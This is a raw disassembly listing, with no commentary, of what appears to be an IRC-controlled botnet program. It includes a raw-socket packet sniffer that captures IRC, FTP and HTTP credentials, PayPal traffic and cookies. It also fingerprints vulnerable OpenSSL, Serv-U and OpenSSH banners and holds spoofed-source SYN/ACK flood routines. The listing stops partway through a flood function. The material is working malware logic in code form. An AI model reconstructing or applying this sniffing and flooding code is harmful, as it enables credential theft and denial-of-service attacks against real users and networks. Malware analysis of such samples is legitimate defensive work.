jnz short loc_4131A2
push offset a366 ; "366 "
push esi
call sub_41BF70
pop ecx
test eax, eax
pop ecx
jnz short loc_4131A2
push offset a_login_0 ; ":.login"
push esi
call sub_41BF70
pop ecx
test eax, eax
pop ecx
jnz short loc_4131A2
push offset aLogin_1 ; ":!login"
push esi
call sub_41BF70
pop ecx
test eax, eax
pop ecx
jnz short loc_4131A2
push offset aLogin_0 ; ":!Login"
push esi
call sub_41BF70
pop ecx
test eax, eax
pop ecx
jnz short loc_4131A2
push offset a_login ; ":.Login"
push esi
call sub_41BF70
pop ecx
test eax, eax
pop ecx
jnz short loc_4131A2
push offset a_ident ; ":.ident"
push esi
call sub_41BF70
pop ecx
test eax, eax
pop ecx
jnz short loc_4131A2
push offset aIdent_0 ; ":!ident"
push esi
call sub_41BF70
pop ecx
test eax, eax
pop ecx
jnz loc_4131A2
push offset a_hashin ; ":.hashin"
push esi
call sub_41BF70
pop ecx
test eax, eax
pop ecx
jnz loc_4131A2
push offset aHashin ; ":!hashin"
push esi
call sub_41BF70
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_413144 endp
; =============== S U B R O U T I N E =======================================
sub_41325B proc near ; CODE XREF: sub_413444:loc_41372Ap
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aIrcSniff ; "IRC sniff"
push esi
call sub_41BF70
pop ecx
test eax, eax
pop ecx
jz short loc_413275
loc_413271: ; CODE XREF: sub_41325B+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_413275: ; CODE XREF: sub_41325B+14j
push offset asc_42AA28 ; "#l#"
push esi
call sub_41BF70
pop ecx
test eax, eax
pop ecx
jnz short loc_413271
push offset aOper_0 ; "OPER "
push esi
call sub_41BF70
pop ecx
test eax, eax
pop ecx
jz short loc_41329B
loc_413297: ; CODE XREF: sub_41325B+4Fj
; sub_41325B+60j
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_41329B: ; CODE XREF: sub_41325B+3Aj
push offset aNick_1 ; "NICK "
push esi
call sub_41BF70
pop ecx
test eax, eax
pop ecx
jnz short loc_413297
push offset aOper ; "oper "
push esi
call sub_41BF70
pop ecx
test eax, eax
pop ecx
jnz short loc_413297
push offset aYouAreNowAnIrc ; "You are now an IRC Operator"
push esi
call sub_41BF70
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_41325B endp
; =============== S U B R O U T I N E =======================================
sub_4132D1 proc near ; CODE XREF: sub_413444:loc_413756p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aFtpSniff ; "FTP sniff"
push esi
call sub_41BF70
pop ecx
test eax, eax
pop ecx
jz short loc_4132EB
loc_4132E7: ; CODE XREF: sub_4132D1+29j
; sub_4132D1+3Aj
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_4132EB: ; CODE XREF: sub_4132D1+14j
push offset asc_42AA28 ; "#l#"
push esi
call sub_41BF70
pop ecx
test eax, eax
pop ecx
jnz short loc_4132E7
push offset aNick_1 ; "NICK "
push esi
call sub_41BF70
pop ecx
test eax, eax
pop ecx
jnz short loc_4132E7
push offset a220 ; "220 "
push esi
call sub_41BF70
pop ecx
test eax, eax
pop ecx
jz short loc_413322
loc_41331E: ; CODE XREF: sub_4132D1+60j
; sub_4132D1+71j
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_413322: ; CODE XREF: sub_4132D1+4Bj
push offset a230 ; "230 "
push esi
call sub_41BF70
pop ecx
test eax, eax
pop ecx
jnz short loc_41331E
push offset aUser_3 ; "USER "
push esi
call sub_41BF70
pop ecx
test eax, eax
pop ecx
jnz short loc_41331E
push offset aPass_1 ; "PASS "
push esi
call sub_41BF70
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_4132D1 endp
; =============== S U B R O U T I N E =======================================
sub_413358 proc near ; CODE XREF: sub_413444+345p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aHttpSniff ; "HTTP sniff"
push esi
call sub_41BF70
pop ecx
test eax, eax
pop ecx
jz short loc_413372
loc_41336E: ; CODE XREF: sub_413358+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_413372: ; CODE XREF: sub_413358+14j
push offset asc_42AA28 ; "#l#"
push esi
call sub_41BF70
pop ecx
test eax, eax
pop ecx
jnz short loc_41336E
push offset aPaypal ; "paypal"
push esi
call sub_41BF70
pop ecx
test eax, eax
pop ecx
jz short loc_413398
loc_413394: ; CODE XREF: sub_413358+4Fj
; sub_413358+60j ...
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_413398: ; CODE XREF: sub_413358+3Aj
push offset aPaypal_0 ; "PAYPAL"
push esi
call sub_41BF70
pop ecx
test eax, eax
pop ecx
jnz short loc_413394
push offset aPaypal_com_0 ; "PAYPAL.COM"
push esi
call sub_41BF70
pop ecx
test eax, eax
pop ecx
jnz short loc_413394
push offset aPaypal_com ; "paypal.com"
push esi
call sub_41BF70
pop ecx
test eax, eax
pop ecx
jnz short loc_413394
push offset aSetCookie ; "Set-Cookie:"
push esi
call sub_41BF70
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_413358 endp
; =============== S U B R O U T I N E =======================================
sub_4133DF proc near ; CODE XREF: sub_413444:loc_4137F1p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aVulnSniff ; "VULN sniff"
push esi
call sub_41BF70
pop ecx
test eax, eax
pop ecx
jz short loc_4133F9
loc_4133F5: ; CODE XREF: sub_4133DF+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_4133F9: ; CODE XREF: sub_4133DF+14j
push offset asc_42AA28 ; "#l#"
push esi
call sub_41BF70
pop ecx
test eax, eax
pop ecx
jnz short loc_4133F5
push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
push esi
call sub_41BF70
pop ecx
test eax, eax
pop ecx
jz short loc_41341F
loc_41341B: ; CODE XREF: sub_4133DF+4Fj
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_41341F: ; CODE XREF: sub_4133DF+3Aj
push offset aServUFtpServer ; "Serv-U FTP Server"
push esi
call sub_41BF70
pop ecx
test eax, eax
pop ecx
jnz short loc_41341B
push offset aOpenssh_2 ; "OpenSSH_2"
push esi
call sub_41BF70
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_4133DF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413444 proc near ; DATA XREF: sub_401AA1+4281o
var_113B8 = byte ptr -113B8h
var_113AF = byte ptr -113AFh
var_113AC = dword ptr -113ACh
var_113A8 = dword ptr -113A8h
var_113A4 = dword ptr -113A4h
var_1138C = byte ptr -1138Ch
var_13B8 = byte ptr -13B8h
var_BB8 = byte ptr -0BB8h
var_3B8 = byte ptr -3B8h
var_3B7 = byte ptr -3B7h
var_2B8 = byte ptr -2B8h
var_B8 = dword ptr -0B8h
var_B4 = byte ptr -0B4h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 113B8h
call sub_41C190
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 25h
mov esi, eax
pop ecx
lea edi, [ebp+var_B8]
rep movsd
xor esi, esi
push 3Fh
inc esi
xor ebx, ebx
mov [eax+90h], esi
pop ecx
xor eax, eax
lea edi, [ebp+var_3B7]
mov [ebp+var_3B8], bl
push 0FFh
rep stosd
stosw
lea eax, [ebp+var_3B8]
mov [ebp+var_20], 2
push eax
mov [ebp+var_1E], bx
mov [ebp+var_1C], ebx
call dword_4CE31C ; gethostname
lea eax, [ebp+var_3B8]
push eax
call dword_4CE38C ; gethostbyname
movsx ecx, word ptr [eax+0Ah]
mov eax, [eax+0Ch]
push ecx
push dword ptr [eax]
lea eax, [ebp+var_8]
push eax
call near ptr sub_41C9B0
mov eax, [ebp+var_8]
add esp, 0Ch
mov [ebp+var_1C], eax
push ebx
push 3
push 2
call dword_4CE388 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_10], edi
jnz short loc_4134EA
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_4134EA: ; CODE XREF: sub_413444+9Bj
lea eax, [ebp+var_20]
push 10h
push eax
push edi
call dword_4CE334 ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_413560
call dword_4CE29C ; WSAGetLastError
push eax
lea eax, [ebp+var_2B8]
push offset unk_439AC0
push eax
call sub_41BEF6
add esp, 0Ch
cmp [ebp+var_2C], ebx
jnz short loc_41353C
push ebx
lea eax, [ebp+var_2B8]
push [ebp+var_30]
push eax
lea eax, [ebp+var_B4]
push eax
push [ebp+var_B8]
call sub_409743
add esp, 14h
loc_41353C: ; CODE XREF: sub_413444+D6j
lea eax, [ebp+var_2B8]
push eax
call sub_415F45
pop ecx
push edi
call dword_4CE3A0 ; closesocket
push [ebp+var_34]
call sub_40B56A
pop ecx
push ebx
call dword_4280D4 ; ExitThread
loc_413560: ; CODE XREF: sub_413444+B6j
push ebx
lea eax, [ebp+var_24]
push ebx
push eax
push ebx
push ebx
lea eax, [ebp+var_C]
push 4
push eax
push 98000001h
push edi
mov [ebp+var_C], esi
call dword_4CE2B4 ; WSAIoctl
cmp eax, 0FFFFFFFFh
jnz short loc_4135E6
call dword_4CE29C ; WSAGetLastError
push eax
lea eax, [ebp+var_2B8]
push offset unk_439A90
push eax
call sub_41BEF6
add esp, 0Ch
cmp [ebp+var_2C], ebx
jnz short loc_4135C2
push ebx
lea eax, [ebp+var_2B8]
push [ebp+var_30]
push eax
lea eax, [ebp+var_B4]
push eax
push [ebp+var_B8]
call sub_409743
add esp, 14h
loc_4135C2: ; CODE XREF: sub_413444+15Cj
lea eax, [ebp+var_2B8]
push eax
call sub_415F45
pop ecx
push edi
call dword_4CE3A0 ; closesocket
push [ebp+var_34]
call sub_40B56A
pop ecx
push ebx
call dword_4280D4 ; ExitThread
loc_4135E6: ; CODE XREF: sub_413444+13Cj
mov esi, 200h
loc_4135EB: ; CODE XREF: sub_413444+1D6j
; sub_413444+1FFj ...
mov edi, 0FFFFh
lea eax, [ebp+var_113B8]
push edi
push ebx
push eax
call sub_41BC00
add esp, 0Ch
lea eax, [ebp+var_113B8]
push ebx
push edi
push eax
push [ebp+var_10]
call dword_4CE320 ; recv
cmp [ebp+var_113AF], 6
jnz short loc_4135EB
push [ebp+var_113A4]
call dword_4281E4 ; ntohs
push [ebp+var_113A4+2]
movzx edi, ax
mov [ebp+var_4], edi
call dword_4281E4 ; ntohs
movzx eax, ax
cmp edi, 6Eh
mov [ebp+arg_0], eax
jz short loc_4135EB
cmp edi, 19h
jz short loc_4135EB
cmp eax, 6Eh
jz short loc_4135EB
cmp eax, 19h
jz short loc_4135EB
push [ebp+var_113AC]
call sub_413135
mov edi, dword_4281E8
add esp, 4
push dword ptr [eax]
call edi ; inet_ntoa
push eax
lea eax, [ebp+var_13B8]
push offset aS_2 ; "%s"
push eax
call sub_41BEF6
push [ebp+var_113A8]
call sub_413135
add esp, 10h
push dword ptr [eax]
call edi ; inet_ntoa
push eax
lea eax, [ebp+var_BB8]
push offset aS_2 ; "%s"
push eax
call sub_41BEF6
lea eax, [ebp+var_1138C]
xor edi, edi
push eax
call sub_41B650
add esp, 10h
test eax, eax
jle short loc_4136E0
loc_4136B7: ; CODE XREF: sub_413444+29Aj
lea eax, [ebp+edi+var_1138C]
cmp byte ptr [eax], 0Dh
jnz short loc_4136C6
mov byte ptr [eax], 20h
loc_4136C6: ; CODE XREF: sub_413444+27Dj
cmp byte ptr [eax], 0Ah
jnz short loc_4136CE
mov byte ptr [eax], 20h
loc_4136CE: ; CODE XREF: sub_413444+285j
lea eax, [ebp+var_1138C]
inc edi
push eax
call sub_41B650
cmp edi, eax
pop ecx
jl short loc_4136B7
loc_4136E0: ; CODE XREF: sub_413444+271j
cmp [ebp+var_4], 50h
jz loc_413782
cmp [ebp+arg_0], 50h
jz loc_413782
lea eax, [ebp+var_1138C]
push eax
call sub_413144
test al, al
pop ecx
lea eax, [ebp+var_1138C]
push eax
jz short loc_41372A
push [ebp+arg_0]
lea eax, [ebp+var_BB8]
push eax
lea eax, [ebp+var_13B8]
push [ebp+var_4]
push eax
push offset unk_439A5C
jmp loc_4137B3
; ---------------------------------------------------------------------------
loc_41372A: ; CODE XREF: sub_413444+2C6j
call sub_41325B
test al, al
pop ecx
lea eax, [ebp+var_1138C]
push eax
jz short loc_413756
push [ebp+arg_0]
lea eax, [ebp+var_BB8]
push eax
lea eax, [ebp+var_13B8]
push [ebp+var_4]
push eax
push offset unk_439A28
jmp short loc_4137B3
; ---------------------------------------------------------------------------
loc_413756: ; CODE XREF: sub_413444+2F5j
call sub_4132D1
test al, al
pop ecx
jz short loc_413782
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_13B8]
push [ebp+var_4]
push eax
push offset unk_4399F4
jmp short loc_4137B3
; ---------------------------------------------------------------------------
loc_413782: ; CODE XREF: sub_413444+2A0j
; sub_413444+2AAj ...
lea eax, [ebp+var_1138C]
push eax
call sub_413358
test al, al
pop ecx
lea eax, [ebp+var_1138C]
push eax
jz short loc_4137F1
push [ebp+arg_0]
lea eax, [ebp+var_BB8]
push eax
lea eax, [ebp+var_13B8]
push [ebp+var_4]
push eax
push offset unk_4399BC
loc_4137B3: ; CODE XREF: sub_413444+2E1j
; sub_413444+310j ...
lea eax, [ebp+var_2B8]
push esi
push eax
call sub_41BFF0
add esp, 20h
cmp [ebp+var_2C], ebx
jnz loc_4135EB
push ebx
lea eax, [ebp+var_2B8]
push [ebp+var_30]
push eax
lea eax, [ebp+var_B4]
push eax
push [ebp+var_B8]
call sub_409743
add esp, 14h
jmp loc_4135EB
; ---------------------------------------------------------------------------
loc_4137F1: ; CODE XREF: sub_413444+354j
call sub_4133DF
test al, al
pop ecx
jz loc_4135EB
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_13B8]
push [ebp+var_4]
push eax
push offset unk_439984
jmp short loc_4137B3
sub_413444 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413821 proc near ; DATA XREF: sub_401AA1+6422o
var_494 = byte ptr -494h
var_294 = dword ptr -294h
var_290 = dword ptr -290h
var_28C = byte ptr -28Ch
var_20C = byte ptr -20Ch
var_18C = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_8C = byte ptr -8Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 494h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0A5h
mov esi, eax
lea edi, [ebp+var_294]
rep movsd
mov dword ptr [eax+290h], 1
call dword_4280B0 ; GetTickCount
push eax
call sub_41BF48
lea eax, [ebp+var_18C]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_20C]
push eax
lea eax, [ebp+var_28C]
push eax
call sub_413C09
push eax
lea eax, [ebp+var_494]
push offset unk_439AEC
push eax
call sub_41BEF6
xor esi, esi
add esp, 20h
cmp [ebp+var_8], esi
jnz short loc_4138B1
push esi
lea eax, [ebp+var_494]
push [ebp+var_C]
push eax
lea eax, [ebp+var_10C]
push eax
push [ebp+var_294]
call sub_409743
add esp, 14h
loc_4138B1: ; CODE XREF: sub_413821+6Ej
lea eax, [ebp+var_494]
push eax
call sub_415F45
push [ebp+var_290]
call sub_40B56A
pop ecx
pop ecx
push esi
call dword_4280D4 ; ExitThread
pop edi
pop esi
sub_413821 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4138D3 proc near ; CODE XREF: sub_413C09+40p
var_284 = byte ptr -284h
var_F4 = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = word ptr -58h
var_56 = word ptr -56h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_32 = word ptr -32h
var_30 = word ptr -30h
var_2E = word ptr -2Eh
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = word ptr -6
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call dword_4CE278 ; WSAStartup
test eax, eax
jz short loc_413913
xor eax, eax
jmp loc_413BDC
; ---------------------------------------------------------------------------
loc_413913: ; CODE XREF: sub_4138D3+37j
xor edi, edi
inc edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_4CE3AC ; WSASocketA
cmp eax, 0FFFFFFFFh
mov [ebp+var_20], eax
jz loc_413BD4
push esi
lea ecx, [ebp+var_40]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_40], edi
call dword_4CE2E8 ; setsockopt
cmp eax, 0FFFFFFFFh
jz loc_413BCA
push [ebp+arg_C]
mov [ebp+var_58], 2
call dword_4CE308 ; ntohs
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_56], ax
mov [ebp+var_54], esi
mov [ebp+var_34], 45h
call dword_4CE308 ; ntohs
push [ebp+arg_C]
mov [ebp+var_32], ax
mov [ebp+var_30], di
mov [ebp+var_2E], bx
mov [ebp+var_2C], 80h
mov [ebp+var_2B], 6
mov [ebp+var_2A], bx
mov [ebp+var_24], esi
call dword_4CE308 ; ntohs
mov [ebp+var_12], ax
call sub_41BF52
movzx eax, ax
cdq
mov ecx, 401h
idiv ecx
push edx
call dword_4CE308 ; ntohs
push 12345678h
mov [ebp+var_14], ax
call dword_4CE304 ; ntohl
push offset aDdos_syn ; "ddos.syn"
mov [ebp+var_10], eax
push [ebp+arg_8]
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_4139E3
mov [ebp+var_C], ebx
mov [ebp+var_7], 2
jmp short loc_413A37
; ---------------------------------------------------------------------------
loc_4139E3: ; CODE XREF: sub_4138D3+105j
push offset aDdos_ack ; "ddos.ack"
push [ebp+arg_8]
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_4139FF
mov [ebp+var_C], ebx
mov [ebp+var_7], 10h
jmp short loc_413A37
; ---------------------------------------------------------------------------
loc_4139FF: ; CODE XREF: sub_4138D3+121j
push offset aDdos_random ; "ddos.random"
push [ebp+arg_8]
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_413A37
call sub_41BF52
push 3
cdq
pop ecx
idiv ecx
mov [ebp+var_C], edx
call sub_41BF52
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp+var_7], dl
loc_413A37: ; CODE XREF: sub_4138D3+10Ej
; sub_4138D3+12Aj ...
push 4000h
mov [ebp+var_8], 50h
call dword_4CE308 ; ntohs
mov [ebp+var_6], ax
lea eax, [ebp+var_48]
push eax
mov [ebp+var_2], bx
mov [ebp+arg_8], ebx
call dword_428140 ; QueryPerformanceFrequency
lea eax, [ebp+var_1C]
push eax
call dword_42813C ; QueryPerformanceCounter
push [ebp+var_44]
mov eax, [ebp+arg_10]
cdq
push [ebp+var_48]
push edx
push eax
call sub_41D920
add eax, [ebp+var_1C]
push 14h
pop esi
adc edx, [ebp+var_18]
mov [ebp+var_3C], eax
mov [ebp+var_38], edx
loc_413A85: ; CODE XREF: sub_4138D3+2E2j
; sub_4138D3+2EEj
mov [ebp+var_4], bx
call sub_41BF52
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_4CE308 ; ntohs
mov [ebp+var_14], ax
call sub_41BF52
mov edi, eax
shl edi, 10h
call sub_41BF52
or edi, eax
push edi
call dword_4CE308 ; ntohs
movzx eax, ax
mov [ebp+var_10], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call dword_4CE304 ; ntohl
mov [ebp+var_28], eax
mov eax, [ebp+var_24]
push esi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call dword_4CE308 ; ntohs
mov [ebp+var_6E], ax
mov eax, [ebp+var_28]
mov [ebp+var_78], eax
lea eax, [ebp+var_78]
push 20h
push eax
lea eax, [ebp+var_B4]
push eax
call near ptr sub_41C9B0
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_94]
push eax
call near ptr sub_41C9B0
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40A92E
mov [ebp+var_4], ax
lea eax, [ebp+var_34]
push esi
push eax
lea eax, [ebp+var_B4]
push eax
call near ptr sub_41C9B0
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_A0]
push eax
call near ptr sub_41C9B0
push 4
lea eax, [ebp+var_8C]
push ebx
push eax
call sub_41BC00
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40A92E
mov [ebp+var_2A], ax
lea eax, [ebp+var_34]
push esi
push eax
lea eax, [ebp+var_B4]
push eax
call near ptr sub_41C9B0
add esp, 14h
lea eax, [ebp+var_58]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_20]
call dword_4CE36C ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_413BE0
add [ebp+arg_8], eax
lea eax, [ebp+var_1C]
push eax
call dword_42813C ; QueryPerformanceCounter
mov eax, [ebp+var_18]
cmp eax, [ebp+var_38]
jg short loc_413BC7
jl loc_413A85
mov eax, [ebp+var_1C]
cmp eax, [ebp+var_3C]
jb loc_413A85
loc_413BC7: ; CODE XREF: sub_4138D3+2E0j
mov ebx, [ebp+arg_8]
loc_413BCA: ; CODE XREF: sub_4138D3+78j
; sub_4138D3+334j
push [ebp+var_20]
call dword_4CE3A0 ; closesocket
pop esi
loc_413BD4: ; CODE XREF: sub_4138D3+5Bj
call dword_4CE260 ; WSACleanup
mov eax, ebx
loc_413BDC: ; CODE XREF: sub_4138D3+3Bj
pop edi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_413BE0: ; CODE XREF: sub_4138D3+2CBj
call dword_4CE29C ; WSAGetLastError
push eax
lea eax, [ebp+var_F4]
push offset dword_439B14
push eax
call sub_41BEF6
lea eax, [ebp+var_F4]
push eax
call sub_415F45
add esp, 10h
jmp short loc_413BCA
sub_4138D3 endp
; =============== S U B R O U T I N E =======================================
sub_413C09 proc near ; CODE XREF: sub_413821+4Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_40A7C5
push [esp+10h+arg_4]
mov esi, eax
call sub_41BDE9
push [esp+14h+arg_C]
mov ebx, eax
call sub_41BDE9
mov edi, eax
call sub_41BF52
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
push [esp+20h+arg_8]
lea eax, [edx+esi+100h]
push eax
push esi
call sub_4138D3
add esp, 20h
test eax, eax
jnz short loc_413C56
inc eax
loc_413C56: ; CODE XREF: sub_413C09+4Aj
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
sub_413C09 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413C65 proc near ; DATA XREF: sub_401AA1+6612o
var_3BC = byte ptr -3BCh
var_1BC = dword ptr -1BCh
var_1B8 = byte ptr -1B8h
var_138 = byte ptr -138h
var_B8 = byte ptr -0B8h
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3BCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 68h
xor ebx, ebx
pop ecx
mov esi, eax
lea edi, [ebp+var_1BC]
push 0FFh
inc ebx
push 3
rep movsd
push 2
mov [eax+19Ch], ebx
call dword_4CE388 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_413D00
call dword_4CE29C ; WSAGetLastError
push eax
lea eax, [ebp+var_3BC]
push offset unk_439C14
push eax
call sub_41BEF6
xor edi, edi
add esp, 0Ch
cmp [ebp+var_24], edi
jnz short loc_413CE3
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_409743
add esp, 14h
loc_413CE3: ; CODE XREF: sub_413C65+5Cj
lea eax, [ebp+var_3BC]
push eax
call sub_415F45
push [ebp+var_38]
call sub_40B56A
pop ecx
pop ecx
push edi
call dword_4280D4 ; ExitThread
loc_413D00: ; CODE XREF: sub_413C65+3Aj
lea ecx, [ebp+var_C]
push 4
push ecx
xor edi, edi
push 2
push edi
push eax
mov [ebp+var_C], ebx
call dword_4CE2E8 ; setsockopt
cmp eax, 0FFFFFFFFh
jnz short loc_413D77
call dword_4CE29C ; WSAGetLastError
push eax
lea eax, [ebp+var_3BC]
push offset unk_439BE4
push eax
call sub_41BEF6
add esp, 0Ch
cmp [ebp+var_24], edi
jnz short loc_413D5A
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_409743
add esp, 14h
loc_413D5A: ; CODE XREF: sub_413C65+D3j
lea eax, [ebp+var_3BC]
push eax
call sub_415F45
push [ebp+var_38]
call sub_40B56A
pop ecx
pop ecx
push edi
call dword_4280D4 ; ExitThread
loc_413D77: ; CODE XREF: sub_413C65+B3j
lea eax, [ebp+var_1B8]
push eax
call dword_4CE348 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short loc_413DDE
lea eax, [ebp+var_3BC]
push offset unk_439BC4
push eax
call sub_41BEF6
cmp [ebp+var_24], edi
pop ecx
pop ecx
jnz short loc_413DC1
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_409743
add esp, 14h
loc_413DC1: ; CODE XREF: sub_413C65+13Aj
lea eax, [ebp+var_3BC]
push eax
call sub_415F45
push [ebp+var_38]
call sub_40B56A
pop ecx
pop ecx
push edi
call dword_4280D4 ; ExitThread
loc_413DDE: ; CODE XREF: sub_413C65+122j
push 10h
lea eax, [ebp+var_1C]
push edi
push eax
call sub_41BC00
add esp, 0Ch
mov [ebp+var_1C], 2
push edi
call dword_4CE308 ; ntohs
mov [ebp+var_1A], ax
lea eax, [ebp+var_1B8]
push eax
call dword_4CE348 ; inet_addr
mov esi, dword_4280B0
mov [ebp+var_18], eax
mov [ebp+arg_0], edi
call esi ; GetTickCount
mov [ebp+var_8], eax
jmp loc_413F3F
; ---------------------------------------------------------------------------
loc_413E21: ; CODE XREF: sub_413C65+2EBj
push 41Ch
mov byte_4D1050, 45h
call dword_4CE308 ; ntohs
cmp [ebp+var_2C], edi
mov word_4D1052, ax
mov word_4D1054, bx
mov word_4D1056, di
mov byte_4D1058, 80h
mov byte_4D1059, bl
mov word_4D105A, di
jz short loc_413E90
call sub_41BF52
mov ebx, eax
shl ebx, 8
call sub_41BF52
add ebx, eax
shl ebx, 8
call sub_41BF52
add ebx, eax
shl ebx, 8
call sub_41BF52
add ebx, eax
mov dword_4D105C, ebx
xor ebx, ebx
inc ebx
jmp short loc_413EA8
; ---------------------------------------------------------------------------
loc_413E90: ; CODE XREF: sub_413C65+1F9j
push [ebp+var_1BC]
call sub_40A8D5
pop ecx
push eax
call dword_4CE348 ; inet_addr
mov dword_4D105C, eax
loc_413EA8: ; CODE XREF: sub_413C65+229j
mov eax, [ebp+var_18]
mov dword_4D1060, eax
call sub_41BF52
cdq
mov ecx, 100h
idiv ecx
mov byte_4D1064, dl
call sub_41BF52
cdq
mov ecx, 100h
idiv ecx
mov byte_4D1065, dl
call sub_41BF52
cdq
mov ecx, 0F0h
push 400h
idiv ecx
mov word_4D1066, di
mov word_4D106A, bx
inc edx
mov word_4D1068, dx
call sub_41BF52
cdq
mov ecx, 0FFh
idiv ecx
push edx
push offset dword_4D106C
call sub_41BC00
add esp, 0Ch
lea eax, [ebp+var_1C]
push 10h
push eax
push edi
push 41Ch
